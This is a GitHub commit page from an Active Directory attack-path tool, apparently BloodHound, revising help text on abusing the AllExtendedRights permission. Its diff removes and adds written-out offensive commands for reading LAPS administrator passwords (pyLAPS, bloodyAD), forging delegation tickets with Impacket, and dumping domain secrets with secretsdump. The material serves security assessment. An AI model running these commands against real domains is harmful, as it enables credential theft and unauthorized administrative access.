Skip to content

Commit

Permalink
BED-5174 and BED-5175 Fix abuse info around read LAPS password narrat…
Browse files Browse the repository at this point in the history
…ive (#1018)

* fix retrieve LAPS helptext

Cover Windows LAPS, remove non-LAPS computer abuses for AllExtendedRights, remove LAPS abuse for domain nodes.

* prepare-for-codereview

* fix ReadLAPSPassword General info

* remove unused haslaps property
  • Loading branch information
JonasBK authored Jan 7, 2025
1 parent 2b3b076 commit c9210f2
Show file tree
Hide file tree
Showing 22 changed files with 602 additions and 472 deletions.
1 change: 0 additions & 1 deletion packages/go/graphschema/ad/ad.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 0 additions & 1 deletion packages/go/graphschema/azure/azure.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

1 change: 0 additions & 1 deletion packages/go/graphschema/common/common.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ import { FC } from 'react';
import { EdgeInfoProps } from '../index';
import { Link, Typography } from '@mui/material';

const LinuxAbuse: FC<EdgeInfoProps & { haslaps: boolean }> = ({ sourceName, targetName, targetType, haslaps }) => {
const LinuxAbuse: FC<EdgeInfoProps> = ({ sourceName, targetName, targetType }) => {
switch (targetType) {
case 'User':
return (
Expand Down Expand Up @@ -57,116 +57,51 @@ const LinuxAbuse: FC<EdgeInfoProps & { haslaps: boolean }> = ({ sourceName, targ
</>
);
case 'Computer':
if (haslaps) {
return (
<>
<Typography variant='body2'>
The AllExtendedRights permission grants {sourceName} the ability to obtain the LAPS (RID 500
administrator) password of {targetName}. {sourceName} can do so by listing a computer
object's AD properties with PowerView using Get-DomainComputer {targetName}. The value of
the ms-mcs-AdmPwd property will contain password of the administrative local account on{' '}
{targetName}.
</Typography>

<Typography variant='body2'>
Alternatively, AllExtendedRights on a computer object can be used to perform a
Resource-Based Constrained Delegation attack.
</Typography>

<Typography variant='body1'> Retrieve LAPS Password </Typography>
<Typography variant='body2'>
The AllExtendedRights permission grants {sourceName} the ability to obtain the RID 500
administrator password of {targetName}. {sourceName} can do so by listing a computer
object's AD properties with PowerView using Get-DomainComputer {targetName}. The value of
the ms-mcs-AdmPwd property will contain password of the administrative local account on{' '}
{targetName}.
</Typography>
<Typography variant='body2'>
<Link target='_blank' rel='noopener' href='https://github.com/p0dalirius/pyLAPS'>
pyLAPS
</Link>{' '}
can be used to retrieve LAPS passwords:
</Typography>
<Typography component={'pre'}>
{'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'}
</Typography>
<Typography variant='body1'> Resource-Based Constrained Delegation </Typography>
<Typography variant='body2'>
First, if an attacker does not control an account with an SPN set, a new attacker-controlled
computer account can be added with Impacket's addcomputer.py example script:
</Typography>
<Typography component={'pre'}>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</Typography>
<Typography variant='body2'>
We now need to configure the target object so that the attacker-controlled computer can
delegate to it. Impacket's rbcd.py script can be used for that purpose:
</Typography>
<Typography component={'pre'}>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</Typography>
<Typography variant='body2'>
And finally we can get a service ticket for the service name (sname) we want to "pretend" to
be "admin" for. Impacket's getST.py example script can be used for that purpose.
</Typography>
<Typography component={'pre'}>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</Typography>
<Typography variant='body2'>
This ticket can then be used with Pass-the-Ticket, and could grant access to the file system
of the TARGETCOMPUTER.
</Typography>
</>
);
} else {
return (
<>
<Typography variant='body2'>
AllExtendedRights on a computer object can be used to perform a Resource-Based Constrained
Delegation attack.
</Typography>

<Typography variant='body1'> Resource-Based Constrained Delegation </Typography>
<Typography variant='body2'>
First, if an attacker does not control an account with an SPN set, a new attacker-controlled
computer account can be added with Impacket's addcomputer.py example script:
</Typography>
<Typography component={'pre'}>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</Typography>
<Typography variant='body2'>
We now need to configure the target object so that the attacker-controlled computer can
delegate to it. Impacket's rbcd.py script can be used for that purpose:
</Typography>
<Typography component={'pre'}>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</Typography>
<Typography variant='body2'>
And finally we can get a service ticket for the service name (sname) we want to "pretend" to
be "admin" for. Impacket's getST.py example script can be used for that purpose.
</Typography>
<Typography component={'pre'}>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</Typography>
<Typography variant='body2'>
This ticket can then be used with Pass-the-Ticket, and could grant access to the file system
of the TARGETCOMPUTER.
</Typography>
</>
);
}
return (
<>
<Typography variant='body2'>
The AllExtendedRights permission allows {sourceName} to retrieve the LAPS (RID 500
administrator) password for {targetName}.
</Typography>
<Typography variant='body2'>
For systems using legacy LAPS, the following AD computer object properties are relevant:
<br />
<b>- ms-Mcs-AdmPwd</b>: The plaintext LAPS password
<br />
<b>- ms-Mcs-AdmPwdExpirationTime</b>: The LAPS password expiration time
<br />
</Typography>
<Typography variant='body2'>
For systems using Windows LAPS (2023 edition), the following AD computer object properties are
relevant:
<br />
<b>- msLAPS-Password</b>: The plaintext LAPS password
<br />
<b>- msLAPS-PasswordExpirationTime</b>: The LAPS password expiration time
<br />
<b>- msLAPS-EncryptedPassword</b>: The encrypted LAPS password
<br />
<b>- msLAPS-EncryptedPasswordHistory</b>: The encrypted LAPS password history
<br />
<b>- msLAPS-EncryptedDSRMPassword</b>: The encrypted Directory Services Restore Mode (DSRM)
password
<br />
<b>- msLAPS-EncryptedDSRMPasswordHistory</b>: The encrypted DSRM password history
<br />
</Typography>
<Typography variant='body2'>
Plaintext attributes can be read using a simple LDAP client. For example, with bloodyAD:
</Typography>
<Typography component={'pre'}>
{
"bloodyAD --host $DC_IP -d $DOMAIN -u $USER -p $PASSWORD get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime"
}
</Typography>
<Typography variant='body2'>
See Windows abuse for retrieving and decrypting the encrypted attributes.
</Typography>
</>
);
case 'Domain':
return (
<>
Expand All @@ -185,24 +120,6 @@ const LinuxAbuse: FC<EdgeInfoProps & { haslaps: boolean }> = ({ sourceName, targ
<Typography component={'pre'}>
{"secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'"}
</Typography>

<Typography variant='body1'> Retrieve LAPS Passwords </Typography>

<Typography variant='body2'>
The AllExtendedRights permission also grants {sourceName} enough privileges, to retrieve LAPS
passwords domain-wise.
</Typography>

<Typography variant='body2'>
<Link target='_blank' rel='noopener' href='https://github.com/p0dalirius/pyLAPS'>
pyLAPS
</Link>{' '}
can be used for that purpose:
</Typography>

<Typography component={'pre'}>
{'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'}
</Typography>
</>
);
case 'CertTemplate':
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -42,12 +42,22 @@ const References: FC = () => {
https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword
</Link>
<br />
<Link target='_blank' rel='noopener' href='https://www.thehacker.recipes/ad/movement/dacl/readlapspassword'>
https://www.thehacker.recipes/ad/movement/dacl/readlapspassword
<Link
target='_blank'
rel='noopener'
href='https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsadpassword'>
https://learn.microsoft.com/en-us/powershell/module/laps/get-lapsadpassword
</Link>
<br />
<Link
target='_blank'
rel='noopener'
href='https://github.com/xpn/RandomTSScripts/tree/master/lapsv2decrypt'>
https://github.com/xpn/RandomTSScripts/tree/master/lapsv2decrypt
</Link>
<br />
<Link target='_blank' rel='noopener' href='https://eladshamir.com/2019/01/28/Wagging-the-Dog.html'>
https://eladshamir.com/2019/01/28/Wagging-the-Dog.html
<Link target='_blank' rel='noopener' href='https://github.com/CravateRouge/bloodyAD'>
https://github.com/CravateRouge/bloodyAD
</Link>
<br />
<Link
Expand Down
Loading

0 comments on commit c9210f2

Please sign in to comment.